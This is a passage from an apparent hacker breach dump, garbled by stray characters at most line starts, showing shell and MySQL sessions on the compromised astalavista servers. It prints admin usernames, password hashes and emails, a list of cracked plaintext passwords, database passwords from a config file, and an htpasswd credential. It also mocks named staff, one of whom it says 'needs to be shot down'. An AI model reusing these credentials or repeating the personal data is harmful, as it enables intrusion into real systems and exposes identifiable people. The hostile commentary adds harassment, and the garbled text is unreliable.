) J2 ?+ ^7 O+ ?2 `: z0 R! L| contrexx_module_calendar_form_fields             |
| contrexx_module_calendar_registrations           |
5 s1 \. @' _/ M- O( T$ `| contrexx_module_calendar_settings                |
6 }+ v0 `2 R+ O+ e" L| contrexx_module_calendar_style                   |
| contrexx_module_contact_form                     |
| contrexx_module_contact_form_data                |
5 r& M; A( s/ j# r| contrexx_module_contact_form_field               |
| contrexx_module_contact_settings                 |
( X9 r5 H+ P( x! A| contrexx_module_data_categories                  |
| contrexx_module_data_message_to_category         |
1 V3 w, z* R" S1 r1 Q| contrexx_module_data_messages                    |
| contrexx_module_data_messages_lang               |
4 }8 h! x9 t. T/ x, j| contrexx_module_data_placeholders                |
! S+ p% W, ^- P$ q! u5 \+ @- I9 M| contrexx_module_data_settings                    |
| contrexx_module_directory_access                 |
1 u* O6 Y; J% r| contrexx_module_directory_categories             |
| contrexx_module_directory_dir                    |
| contrexx_module_directory_inputfields            |
5 a5 X. t  j( a6 g| contrexx_module_directory_levels                 |
6 r7 H5 l# J! I4 Z; m| contrexx_module_directory_mail                   |
| contrexx_module_directory_rel_dir_cat            |
; i. T7 P/ V+ e& || contrexx_module_directory_rel_dir_level          |
| contrexx_module_directory_settings               |
| contrexx_module_directory_settings_google        |
0 O# r8 U, b: c. p| contrexx_module_directory_vote                   |
2 K; z' }$ q3 P; w0 G) w8 P| contrexx_module_docsys                           |
| contrexx_module_docsys_categories                |
8 v+ V' K* q0 n. l| contrexx_module_egov_configuration               |
| contrexx_module_egov_orders                      |
& e& ~$ |1 v! O! Q| contrexx_module_egov_product_calendar            |
| contrexx_module_egov_product_fields              |
6 Q' o( E7 [& U| contrexx_module_egov_products                    |
% c: P0 K! L. ?2 i  T! C% p| contrexx_module_egov_settings                    |
. b) F* z& T: y0 a0 C  s1 _9 G| contrexx_module_exploits                         |
- C5 I9 G2 N3 s: P9 V# g| contrexx_module_exploits_categories              |
| contrexx_module_feed_category                    |
| contrexx_module_feed_news                        |
| contrexx_module_feed_newsml_association          |
' a" N5 J+ a$ s| contrexx_module_feed_newsml_categories           |
| contrexx_module_feed_newsml_documents            |
| contrexx_module_feed_newsml_providers            |
* T( o1 h& M  O+ g, }/ Z| contrexx_module_forum_access                     |
% D+ {) a  E9 K6 R: V| contrexx_module_forum_categories                 |
2 I; ?( j8 L1 p: f0 B( R* V| contrexx_module_forum_categories_lang            |
| contrexx_module_forum_notification               |
| contrexx_module_forum_postings                   |
! [; L8 q5 {" t% ], x2 n| contrexx_module_forum_rating                     |
, X* f+ l7 c1 T* ^| contrexx_module_forum_settings                   |
+ ?  r" l$ @. h5 K6 s| contrexx_module_forum_statistics                 |
| contrexx_module_gallery_categories               |
% G0 O& y6 o" F4 f1 F, d& w& k' k5 `| contrexx_module_gallery_comments                 |
! }9 N, S6 q3 R. O( Z| contrexx_module_gallery_language                 |
9 D% Z9 S5 @2 d9 p, E. B" j& _| contrexx_module_gallery_language_pics            |
9 a4 v9 B; U7 P$ n; ?( F; R: u| contrexx_module_gallery_pictures                 |
| contrexx_module_gallery_settings                 |
| contrexx_module_gallery_votes                    |
| contrexx_module_guestbook                        |
| contrexx_module_guestbook_settings               |
| contrexx_module_livecam                          |
: I7 }) v* ?# }  [/ T| contrexx_module_livecam_settings                 |
| contrexx_module_market                           |
| contrexx_module_market_access                    |
| contrexx_module_market_categories                |
| contrexx_module_market_mail                      |
' I. m+ m6 \/ c8 P. l| contrexx_module_market_paypal                    |
3 ?) h0 @8 m% M+ y8 F+ Y- v| contrexx_module_market_settings                  |
| contrexx_module_market_spez_fields               |
* ?+ m6 ^( A9 o' e: L| contrexx_module_mediadir_access                  |
| contrexx_module_mediadir_categories              |
- r' W0 ]' ]8 r: W) E* ]| contrexx_module_mediadir_comments                |
| contrexx_module_mediadir_dir                     |
" z, E+ O' _2 |+ b6 n" l% g9 V| contrexx_module_mediadir_inputfields             |
% k8 I9 s+ W" Q1 b# T1 O| contrexx_module_mediadir_levels                  |
: V0 o4 S. P, e( T2 s| contrexx_module_mediadir_mail                    |
* i. E( b) s6 e( }| contrexx_module_mediadir_rel_dir_cat             |
| contrexx_module_mediadir_rel_dir_level           |
7 K+ W- B+ W  q1 E7 Z| contrexx_module_mediadir_reports                 |
; c% m& V! B4 @/ Y( e/ U1 p| contrexx_module_mediadir_settings                |
7 l2 r# B! W9 B| contrexx_module_mediadir_settings_google         |
" _9 x( a' f' {; f* O| contrexx_module_mediadir_vote                    |
6 t$ [' N5 ?' W6 U. g; ~4 O$ Y| contrexx_module_memberdir_directories            |
| contrexx_module_memberdir_name                   |
| contrexx_module_memberdir_settings               |
# k; y6 p: N& K- L8 ~| contrexx_module_memberdir_values                 |
: Y8 x4 u. B8 J! t: Y) d  d| contrexx_module_nettools_allowed_groups          |
( f3 D5 ^" h$ k; Y' t5 v+ m| contrexx_module_nettools_settings                |
| contrexx_module_news                             |
' L% Z5 I" |  w| contrexx_module_news_access                      |
9 b! }- W4 d* R% v| contrexx_module_news_categories                  |
8 h; f: C! j9 b5 a| contrexx_module_news_settings                    |
| contrexx_module_news_teaser_frame                |
  M/ |7 \+ w, w  I. B$ U| contrexx_module_news_teaser_frame_templates      |
| contrexx_module_news_ticker                      |
/ ^0 k' s3 K( y$ E3 V6 t| contrexx_module_newsletter                       |
2 o& A2 X1 h- `+ Y7 w0 V| contrexx_module_newsletter_attachment            |
| contrexx_module_newsletter_category              |
6 D/ }# @0 h: `| contrexx_module_newsletter_confirm_mail          |
| contrexx_module_newsletter_rel_cat_news          |
| contrexx_module_newsletter_rel_user_cat          |
7 L" o5 o1 x; D$ r  n2 o) K| contrexx_module_newsletter_settings              |
1 \. a/ A! I9 Z| contrexx_module_newsletter_template              |
| contrexx_module_newsletter_tmp_sending           |
3 @% ~1 d. F. K7 K5 \( N| contrexx_module_newsletter_user                  |
9 ~5 c* q7 d/ ^| contrexx_module_newsletter_user_title            |
* e6 M. B7 S% Q' p; T6 [" B3 c| contrexx_module_onlinetools_defaultports         |
| contrexx_module_onlinetools_defaultports_back    |
! R- |# c& G3 f| contrexx_module_onlinetools_geolitecity_blocks   |
| contrexx_module_onlinetools_geolitecity_country  |
| contrexx_module_onlinetools_geolitecity_location |
) i& {9 J# E$ V* S| contrexx_module_podcast_category                 |
3 g7 H6 A0 f: ^& B" d. u| contrexx_module_podcast_medium                   |
# u- c4 k% g. ?9 M% J- Z| contrexx_module_podcast_rel_category_lang        |
1 d  m* L2 w3 t2 G| contrexx_module_podcast_rel_medium_category      |
8 R" A) |) k8 u' Q  Y0 r| contrexx_module_podcast_settings                 |
| contrexx_module_podcast_template                 |
| contrexx_module_proxydb                          |
$ C9 P0 r0 |- R4 H| contrexx_module_recommend                        |
3 m  b/ J  Y$ ^1 `; U| contrexx_module_repository                       |
| contrexx_module_securitynews_cats                |
" ^( f: f( l$ M1 T: V2 w| contrexx_module_securitynews_feeds               |
| contrexx_module_securitynews_news                |
9 x8 N. Y$ G/ ?& i| contrexx_module_shop_categories                  |
. D0 p" v/ a6 V) ?, Z6 `+ e  z* a0 K| contrexx_module_shop_config                      |
# z2 s9 e/ o7 L3 G) K! ^| contrexx_module_shop_countries                   |
0 x. E/ v, m6 y5 r; f" e9 W! H| contrexx_module_shop_currencies                  |
| contrexx_module_shop_customers                   |
: I: P, l: O  r; @" B' K7 c| contrexx_module_shop_importimg                   |
' D# v/ E& G$ K+ B2 F+ v| contrexx_module_shop_lsv                         |
| contrexx_module_shop_mail                        |
| contrexx_module_shop_mail_content                |
5 @! O( B+ F, I3 S' k* g| contrexx_module_shop_manufacturer                |
| contrexx_module_shop_order_items                 |
3 |% Q; e% ?: m% k3 [| contrexx_module_shop_order_items_attributes      |
| contrexx_module_shop_orders                      |
| contrexx_module_shop_payment                     |
6 L9 T# K1 s! _+ r9 N4 p$ @8 a| contrexx_module_shop_payment_processors          |
| contrexx_module_shop_pricelists                  |
: ]% V- l' {: S0 p# E8 E6 i| contrexx_module_shop_products                    |
8 Y, n0 K8 J, f+ z" T) || contrexx_module_shop_products_attributes         |
| contrexx_module_shop_products_attributes_name    |
( m) _6 ~3 i( o- Z0 z* ?| contrexx_module_shop_products_attributes_value   |
| contrexx_module_shop_products_downloads          |
| contrexx_module_shop_rel_countries               |
| contrexx_module_shop_rel_payment                 |
3 o1 u" O% v5 q) {0 t2 n2 e8 R| contrexx_module_shop_rel_shipment                |
4 w% |- l* O9 L' Q7 H2 ]| contrexx_module_shop_shipment_cost               |
- D* a" _- @! r. S+ C1 l$ j$ O| contrexx_module_shop_shipper                     |
| contrexx_module_shop_vat                         |
5 F& Z$ n( C8 G: h, L8 s3 H| contrexx_module_shop_zones                       |
| contrexx_module_u2u_address_list                 |
, A  F% g* f1 }  E! W2 A: g, m: `" T| contrexx_module_u2u_message_log                  |
| contrexx_module_u2u_sent_messages                |
| contrexx_module_u2u_settings                     |
! u/ [. Z+ x3 a4 Y| contrexx_module_u2u_user_log                     |
! X+ @# {- k: s3 ?- ?& ]( V$ g- Q9 C| contrexx_modules                                 |
+ A5 F/ o& a1 q+ S| contrexx_sessions                                |
- X, y7 l* g- F9 M| contrexx_settings                                |
" N& {9 Z7 f8 d% C| contrexx_settings_smtp                           |
| contrexx_skins                                   |
! F6 S3 O; a& ]| contrexx_stats_browser                           |
| contrexx_stats_colourdepth                       |
| contrexx_stats_config                            |
0 Y: W5 h. R8 x% k5 I) N& d, Q| contrexx_stats_country                           |
4 s1 g- h3 M/ H- c' E( `) ]- u0 R| contrexx_stats_hostname                          |
% G' ^$ w% F* r: Z8 {  X( z| contrexx_stats_javascript                        |
1 ]8 m$ ?6 p) t* l| contrexx_stats_operatingsystem                   |
| contrexx_stats_referer                           |
| contrexx_stats_requests                          |
| contrexx_stats_requests_summary                  |
- N' y. g4 ]3 t; {0 w  f| contrexx_stats_screenresolution                  |
| contrexx_stats_search                            |
8 D$ t4 i) Z* @2 r% n' d| contrexx_stats_spiders                           |
1 V1 s$ m7 o. j9 O5 ^3 P$ x| contrexx_stats_spiders_summary                   |
6 b0 ^* O( a  v( e3 Q7 p| contrexx_stats_visitors                          |
| contrexx_stats_visitors_summary                  |
| contrexx_voting_additionaldata                   |
$ |) [6 |% c  R+ g2 k. p/ ?9 z9 l| contrexx_voting_email                            |
| contrexx_voting_rel_email_system                 |
) w4 v& u0 c+ e3 r( m7 i2 }| contrexx_voting_results                          |
| contrexx_voting_system                           |
0 C' ]% {& y# R( O4 R1 @| foo                                              |
+————————————————–+
227 rows in set (0.01 sec)
2 [+ s0 w8 |* q* s. d) o
mysql> select count(*) as skids from contrexx_access_users;
1 Q& Z+ ^( G; R/ i: B+——-+
8 g0 V0 I9 u# d2 h5 r! L- L' u8 t| skids |
+——-+
* r, Y* K" y" Z| 53699 |
+——-+
1 row in set (0.00 sec)
- G! i1 t5 v4 h1 _
mysql> describe contrexx_access_users;
6 p: w% U0 X# m+——————+——————————————+——+—–+————–+—————-+
+ n& K  ]; R" c9 G| Field            | Type                                     | Null | Key | Default      | Extra          |
9 s7 q8 }( Q" @; P/ l7 s9 i. |+——————+——————————————+——+—–+————–+—————-+
| id               | int(10) unsigned                         | NO   | PRI | NULL         | auto_increment |
| is_admin         | tinyint(1) unsigned                      | NO   |     | 0            |                |
| username         | varchar(40)                              | YES  | MUL | NULL         |                |
% r+ h3 r/ N2 S4 Z) K0 R5 t| password         | varchar(32)                              | YES  |     | NULL         |                |
| regdate          | int(14) unsigned                         | NO   |     | 0            |                |
+ L" o: P) C4 f; |) M| expiration       | int(14) unsigned                         | NO   |     | 0            |                |
  T- A: R3 X& u6 l* X9 V| validity         | int(10) unsigned                         | NO   |     | 0            |                |
| last_auth        | int(14) unsigned                         | NO   |     | 0            |                |
& }' i& h6 l* i  a| last_activity    | int(14) unsigned                         | NO   |     | 0            |                |
% u. B( g, Z# X( _) i$ a| email            | varchar(255)                             | YES  |     | NULL         |                |
( D( [- D8 Z1 h| email_access     | enum(’everyone’,'members_only’,'nobody’) | NO   |     | nobody       |                |
| frontend_lang_id | int(2) unsigned                          | NO   |     | 0            |                |
: Q+ T* L( O" ^, m+ Q3 l" O1 }  u| backend_lang_id  | int(2) unsigned                          | NO   |     | 0            |                |
' a" w" d% n$ o1 C* {! K| active           | tinyint(1)                               | NO   |     | 0            |                |
" Y" v7 O1 {$ W/ Y& T: U1 ^/ e, F| profile_access   | enum(’everyone’,'members_only’,'nobody’) | NO   |     | members_only |                |
| restore_key      | varchar(32)                              | NO   |     |              |                |
| restore_key_time | int(14) unsigned                         | NO   |     | 0            |                |
' v! c. n7 E4 _# H) \& D4 D3 {| u2u_active       | enum(’0′,’1′)                            | NO   |     | 1            |                |
+——————+——————————————+——+—–+————–+—————-+
18 rows in set (0.00 sec)

: o- u3 M# ]: H: i: }) p% r. Jmysql> select username,password,email from contrexx_access_users where is_admin = 1;
+————+———————————-+—————————–+
# I# y6 _# R* r& N; L; v/ x7 F| username   | password                         | email                       |
+————+———————————-+—————————–+
2 y$ K+ O7 V$ ^/ Q9 f% A| system     | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com          |
. D; F: l4 g$ i2 x, r* W. J( B| prozac     | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com      |
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
& n; s9 G! p. C( @9 f  D| schmid     | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com   |
0 D8 `' _& X" O# |+————+———————————-+—————————–+
" d( m) j# V$ ^4 }$ ?2 M' C* Q2 d4 rows in set (0.04 sec)

mysql> exit;
: }8 [: k, e- FBye

* t0 s6 I! b' y[~] There you go, your “team of security and IT professionals” is a joke.

: M4 a) y1 y. s+ G4 v/ r( S) ?" ~# w+——————————+
system:f82BN3+_*
" l: h* `& x; w# ^  U4 DBe1er0ph0r:belerophor4astacom
prozac:asta4cms!
commander:mpbdaagf6m
) J3 {" U+ E' c$ Q1 {/ k8 Hsykadul:ak29eral
" H8 g$ d; z1 K+——————————+

! W' L0 b, |6 \: X% f0 o* U. _[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.
: d1 N6 X  N/ y' F
[~] Lets move to astalavista.net now,

From <链接标记[url]https://www.astalavista.net/[/url]>:
! _3 P: t$ S* R5 X3 {>> Everyone knows that the best defense is a good offense.
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
+ e' v* K' ]! d/ i+ b# O>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
7 g) \, P* H' P: Z; M$ |& P>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”

>> Go ahead, try and hack our server . in a completely legal way!
7 L1 j; J- j, E" O>> Learn by doing: We offer our members tricky tasks and challenges on an
+ A* I! P6 T$ e7 H& E- S* j% d3 ]>> ongoing basis so you can test your knowledge and abilities. You can also
>> demonstrate what you.ve mastered by taking part in regular hacker contests
>> and war games

[~] Lets take a look there, after all… they are hack-proof, aren’t they?!
1 ~5 l7 [4 A5 B
[-] Tricky task: Find home dir of astalavista.net

" s4 j- K3 l& r; a, W9 J  A( L; ksh-3.2$ ls -la ~astanet
total 48
5 q* V0 C' n, b) U6 ]2 ^  Xdrwx–x–x  6 astanet astanet 4096 Dec 23 15:55 .
. U% {$ g" X8 v' p$ Cdrwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..
drwxr-xr-x  2 root    root    4096 Dec 23 16:00 auth
-rw——-  1 astanet astanet 3892 Apr 16 12:14 .bash_history
-rw-r–r–  1 astanet astanet   33 Dec 17 21:50 .bash_logout
0 W# i% a7 w  G3 E( H6 }-rw-r–r–  1 astanet astanet  176 Dec 17 21:50 .bash_profile
-rw-r–r–  1 astanet astanet  124 Dec 17 21:50 .bashrc
drwx–x–x  3 astanet astanet 4096 Dec 23 12:18 domains
4 j: [4 v4 D6 l) i6 ~5 L( Kdrwxrwx—  3 astanet mail    4096 Dec 23 12:18 imap
drwx——  2 astanet astanet 4096 Dec 23 12:18 mail
lrwxrwxrwx  1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
: P7 `/ R+ m& G+ I* v6 w0 B-rw-r—–  1 astanet mail      34 Dec 22 12:41 .shadow
8 S4 H6 Z0 {/ L( |! j9 y
sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
4 r) \% l& A- A# B0 Wsh-3.2$ ls -la
total 200
! z  g2 ?$ {/ d& X5 l1 @% Bdrwxr-x— 29 astanet apache   4096 Jan  6 13:58 .
0 e, ?! D/ e, ?drwx–x–x  8 astanet astanet  4096 Dec 23 13:53 ..
: E3 x/ G8 U5 G' I6 adrwxr-xr-x  3 astanet astanet  4096 Dec 27  2006 _007
drwxr-xr-x  7 astanet astanet  4096 Jan  5  2006 _0mysql
1 c. }" s* h) h% qdrwxr-xr-x  7 astanet astanet  4096 Dec 22 14:16 链接标记astanet@astalavista.com
drwxrwxrwx  2 astanet astanet  4096 Jan  5  2006 backend
drwxr-xr-x  2 astanet astanet  4096 Oct 24  2006 banner
-rw-r–r–  1 astanet astanet 25724 Apr  4  2006 banner.jpg
# O4 V' m0 {+ Q+ i  B: K8 Ndrwxr-xr-x  2 astanet astanet  4096 Aug 11  2006 config
drwxr-xr-x  3 astanet astanet  4096 Jan 12 08:52 cron
drwxr-xr-x 11 astanet astanet  4096 Jan  5  2006 dvd
# e2 U; A9 g/ {6 C2 f; ]-rw-r–r–  1 astanet astanet    36 Jan  5  2006 error.php
-rw-r–r–  1 astanet astanet  1406 Jan  5  2006 favicon.ico
drwxrwxrwx  2 astanet astanet  4096 Dec 15  2006 feed
+ b' B& S6 n* B0 k2 m3 z8 Adrwxr-xr-x  3 astanet astanet  4096 Dec  8  2006 flashtour
3 j$ G# W6 Y$ Y. P+ d-rw-r–r–  1 astanet astanet    18 Jan  5  2006 htaccess
-rw-r–r–  1 astanet astanet   585 Mar 24 14:50 .htaccess
-rw-r–r–  1 astanet astanet   398 Jan  5  2006 index1.php
-rw-r–r–  1 astanet astanet  1036 Jan  5  2006 _index.html
% N# z0 x$ I+ M8 c, r  g-rw-r–r–  1 astanet astanet  6880 Dec 23 14:44 index.php
8 ?7 ?& @. a( V2 O# b% I2 g-rw-r–r–  1 astanet astanet   676 Mar 21  2006 index_redirect.php
8 e1 {8 M' ~" G( S8 B-rw-r–r–  1 astanet astanet   739 Feb 24  2006 index.swf
drwxr-xr-x  4 astanet astanet  4096 Oct 18  2006 irc
' P7 s  q7 ~( N- X1 e* |, }2 \drwxr-xr-x  4 astanet astanet  4096 Aug 11  2006 lang
drwxr-xr-x 13 astanet astanet  4096 Sep 21  2006 lib
drwxr-xr-x  6 astanet astanet  4096 Aug 11  2006 log
% w$ u* J( W* f6 G: wdrwxr-xr-x  2 astanet astanet  4096 Jan 13 14:02 member
drwxrwxrwx  5 astanet astanet  4096 Jun  4 00:03 memberdata
drwxr-xr-x  2 astanet astanet  4096 Jan  5  2006 new
-rw-r–r–  1 astanet astanet  7219 Feb 24  2006 pix1.swf
5 h! U. b* @4 c3 m( t5 U' sdrwxr-xr-x  2 astanet astanet  4096 Oct 27  2006 re
-rw-r–r–  1 astanet astanet    23 Jan  5  2006 robots.txt
drwxr-xr-x  3 astanet astanet  4096 Aug 11  2006 rss
drwxr-xr-x 39 astanet astanet  4096 Dec 13  2007 sources
0 f' b- B( s, A! V1 ^drwxrwxrwx  3 astanet astanet  4096 Feb  2 15:40 temp_com
. V# _! ]* }9 j/ S1 [2 b5 j) Ldrwxr-xr-x  7 astanet astanet  4096 Aug 11  2006 themes
drwxr-xr-x  2 astanet astanet  4096 Mar 14  2008 tmp_src
drwxr-xr-x  5 astanet astanet  4096 Aug 11  2006 tpl
drwxr-xr-x  3 astanet astanet  4096 Sep  7  2006 v2
drwxr-xr-x 16 astanet astanet  4096 Jul  5  2006 v2_old
3 }1 [( c: e0 Y5 J) g" O-rw-r–r–  1 astanet astanet    35 Dec  4  2006 webcash.php
drwxr-xr-x 13 astanet astanet  4096 Sep 21  2006 wiki
1 E& m2 P- Q) n) k9 g+ ~. r9 q
  ~( n1 J% |! c5 Z# p4 v% Gsh-3.2$ head -20 index.php
) \2 L# w% j0 g. ]; I<?PHP
/**
( e0 b  v6 j& f) V  _7 y* Mainfile (external) for astalavistaNET v2.0
, D6 i- C5 ?! j4 P: g/ R*
* @copyright     Astalavista IT Engineering GmbH
* @author        Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
) ~8 _' \+ k! v9 i" Y/ l9 a* @version       1.0
*/

        if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
$ ]! a7 l% l! c, U! G. f. i/ B                $dontStartSession = false;
5 D2 m3 K; `5 |6 X3 r7 B        } else {
                $dontStartSession = true;
        }
        require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);
, P# o: X* l: P  c0 O1 M$ Y- T        require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
1 W/ x. L. l3 y        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);

sh-3.2$ cd config
2 c% q' M! f. qsh-3.2$ ls -la
total 32
drwxr-xr-x  2 astanet astanet 4096 Aug 11  2006 .
- e  m) G9 i5 @: b4 p, qdrwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..
5 k! u1 T8 I/ q# r-rw-r–r–  1 astanet astanet  987 Aug 11  2006 adm.conf.php
-rw-r–r–  1 astanet astanet 4937 Dec 23 15:48 com.conf.php
-rw-r–r–  1 astanet astanet  913 Aug 11  2006 cron.conf.php
" ~3 W" R% C9 Y4 e- K! e8 }+ ?-rw-r–r–  1 astanet astanet 1668 Aug 20  2008 ext.conf.php
-rw-r–r–  1 astanet astanet 2724 May 30  2007 int.conf.php

0 z0 Y- ]0 h) L4 ksh-3.2$ cat com.conf.php
4 X; m  F- ^3 E' ?9 x/ K! G" }  h1 K- M[snip]
//member-database
# _' T& v" |' S7 X0 o/ h2 j/ I5 f$_CONFIG['db_mem_server']       = ‘localhost’;
$ Z- w0 J4 }2 z( ^$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;
% V$ Z2 ?' U0 t" f* {6 Y$_CONFIG['db_mem_user']         = ‘astanet_db’;
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;
$_CONFIG['db_mem_debug']        = false; //true or false
1 d! |$ Y, ]6 w$ \3 y6 l//ads-database
$_CONFIG['db_ads_server']       = ‘localhost’;
$_CONFIG['db_ads_database'] = ‘astanet_ads’;
% D& {* B, g+ E, H$_CONFIG['db_ads_user']         = ‘astanet_db’;
5 C8 _7 p2 h+ m% [$ D0 e6 s$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
1 k- d1 l7 Q6 ]% n' F+ t$_CONFIG['db_ads_debug']        = false; //true or false
//rainbow-database
$_CONFIG['db_rainbow_server']   = ‘212.254.194.163′;
$_CONFIG['db_rainbow_database'] = ‘rainbow’;
$_CONFIG['db_rainbow_user']     = ‘dinu’;
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
$_CONFIG['db_rainbow_debug']    = false; //true or false
; i# X8 u9 d& |8 @; O  Q//mailing lists database
$_CONFIG['db_mailing_lists_server']     = ‘localhost’;
9 U9 _$ G- |1 s: f! X- I$_CONFIG['db_mailing_lists_database']   = ‘astanet_mailing_lists’;
* g# Z$ i9 Y' w* t" t/ Q3 r$_CONFIG['db_mailing_lists_user']               = ‘astanet_db’;
" T1 c/ c6 p" r6 Q8 ~& r  h: G5 v$_CONFIG['db_mailing_lists_password']   = ‘TXwVrC7hbq’;
! H7 ?8 j. M1 L9 _& h$_CONFIG['db_mailing_lists_debug']              = false; //true or false
//paypal
/ j! \$ }% `2 u0 n9 O9 x8 c$_CONFIG['sub_pp_url']          = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;
$_CONFIG['sub_pp_cmd']          = ‘_xclick’;
) k* E# q) G8 p4 G: f$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;
$_CONFIG['sub_pp_noship']       = ‘1′;
$_CONFIG['sub_pp_referer']      = ‘链接标记[url]https://www.paypal.com/[/url]’;
9 l5 o8 M$ y: I4 f- Z, }' \- X[snip]

sh-3.2$ cd ..
sh-3.2$ cd member
sh-3.2$ ls -la
, a# Q; [- y3 K  Z9 {total 20
drwxr-xr-x  2 astanet astanet 4096 Jan 13 14:02 .
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..
9 H+ P# i* c; |4 d" k. t-rw-r–r–  1 astanet astanet   19 Jan 13 14:02 .htaccess
-rwxr-xr-x  1 astanet astanet 6709 Jan 13 14:06 index.php
$ Z$ p6 c/ w+ n9 C: Ysh-3.2$ cat .htaccess
SecFilterEngine off
. b1 \% K) g' d4 e
sh-3.2$ cd ..
# y% N$ h6 N0 W3 _8 f2 p! c2 ^, ^sh-3.2$ cd cron
sh-3.2$ ls -la
total 168
drwxr-xr-x  3 astanet astanet  4096 Jan 12 08:52 .
3 Z4 ~& y( Y7 Q/ C# n9 A9 Pdrwxr-x— 29 astanet apache   4096 Jan  6 13:58 ..
-rw-r–r–  1 astanet astanet  1272 Jan 12 08:24 0_corefile.php
-rw-r–r–  1 astanet astanet  2356 Aug 11  2006 0_functions.php
) C' h9 p4 K7 B! m  p9 n+ y-rw-r–r–  1 astanet astanet  3616 Dec 23 15:44 1_daily.php
-rw-r–r–  1 astanet astanet   527 Aug 11  2006 1_fivemin.php
; C* R& ^# Y0 }  f8 k-rw-r–r–  1 astanet astanet  5006 Dec 23 15:39 1_hourly.php
5 j* J" Z9 C0 h0 F7 M1 @# {0 \-rw-r–r–  1 astanet astanet   432 Aug 11  2006 1_weekly.php
-rw-r–r–  1 astanet astanet  2277 Aug 11  2006 2_advertising.php
1 B. p( v1 W& J& A-rw-r–r–  1 astanet astanet  4882 Dec 23 15:40 2_archives.php
-rw-r–r–  1 astanet astanet  3784 Aug 16  2006 2_awstats.sh
5 |$ ^8 r- z1 m  h5 w-rw-r–r–  1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
: H; r1 E; b, Q. F( s1 ]0 p-rw-r–r–  1 astanet astanet 14979 Jan 12 09:10 2_expire.php
-rw-r–r–  1 astanet astanet  7657 Aug 15  2006 2_exploitree_updater.php
-rw-r–r–  1 astanet astanet   686 Dec 23 16:31 2_filesize.sh
-rw-r–r–  1 astanet astanet  9853 Aug 11  2006 2_keywords_old.php
-rw-r–r–  1 astanet astanet 15664 Sep 22  2006 2_keywords.php
-rw-r–r–  1 astanet astanet  1233 Aug 11  2006 2_proxy_checker.php
. _  {2 M2 W& _+ }& I  S! M( g-rw-r–r–  1 astanet astanet  7558 Aug 11  2006 2_proxy_collector.php
7 n, m5 F# r, H+ _. @0 J% ~0 q7 U-rw-r–r–  1 astanet astanet   796 Aug 11  2006 99_create_emails.php
drwxr-xr-x  2 astanet astanet  4096 Aug 11  2006 99_lang_email
-rw-r–r–  1 astanet astanet  9622 Jan  6 16:04 login_reminder.php
: D4 E) s# v0 t7 S  O1 V. t-rw-r–r–  1 astanet astanet  9620 Jan  6 16:05 login_reminder_test.php

( ?% n' n9 i& ?/ vsh-3.2$ cd ..
sh-3.2$ cd _007
& S" k! P& x, n: Lsh-3.2$ ls -la
total 24
: [" i; [4 _" D* [drwxr-xr-x  3 astanet astanet 4096 Dec 27  2006 .
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..
-rw-r–r–  1 astanet astanet   96 Dec 23 15:17 .htaccess
3 h! ^& U/ Q6 Q2 N% s1 ?-rw-r–r–  1 astanet astanet 3263 Jan 15  2007 index.php
/ x! I8 f) I9 t# n-rw-r–r–  1 astanet astanet   20 Dec 27  2006 info.php
! O! P* K8 V$ q& E1 V& D1 n- K( H' q) Jdrwxr-xr-x  5 astanet astanet 4096 Aug 11  2006 sitemap

sh-3.2$ cat  .htaccess
4 s* g+ K  J( @" e/ ]authType Basic
authName Admin
authUserFile /home/astanet/auth/.htadm_pwd
2 G2 ~( S, p: ]8 B. m1 Mrequire valid-user
: ~; N2 e3 [1 M! ~% [
, J0 n9 ?$ `$ z% p- E* j* Ish-3.2$ cat /home/astanet/auth/.htadm_pwd
admin2net:CR0bl65MwhfT

$ _0 }+ |0 U  \9 @+ Q# fsh-3.2$ mysql -u astanet_db -p
4 R3 `1 t& [+ a* WEnter password:
- P, Q! ^: B4 d! v0 VWelcome to the MySQL monitor.  Commands end with ; or \g.
0 ]  S+ Z$ ]- z  {+ Q9 K& {Your MySQL connection id is 275153
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
* j8 @8 Y- ]$ D
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
8 Q6 x8 q3 d1 N" U6 p8 Y/ D+ l7 j
& @; f9 [2 j1 j4 Y  e8 R, umysql> show databases;
: F4 F4 [  p3 g7 v5 M3 ~5 }+———————–+
' I( I# t) `+ P8 Q' V1 _& ?7 Q| Database              |
- G' L/ l3 {; t9 i* n2 t+———————–+
| information_schema    |
| astanet_ads           |
2 P4 `9 U9 ?6 M; T) [: l| astanet_mailing_lists |
| astanet_mediawiki     |
! c2 v8 b: ^  W0 V0 f, z| astanet_membersystem  |
| test                  |
+———————–+
0 G/ S& W( Y. R+ F: K! f6 rows in set (0.00 sec)
2 C- d( j4 v/ N* V( ?- S% T
2 }& ~  w& C9 Pmysql> use astanet_membersystem
Database changed
mysql> show tables;
! S3 ?$ A, }) q7 S6 ~6 ^  A/ g+———————————–+
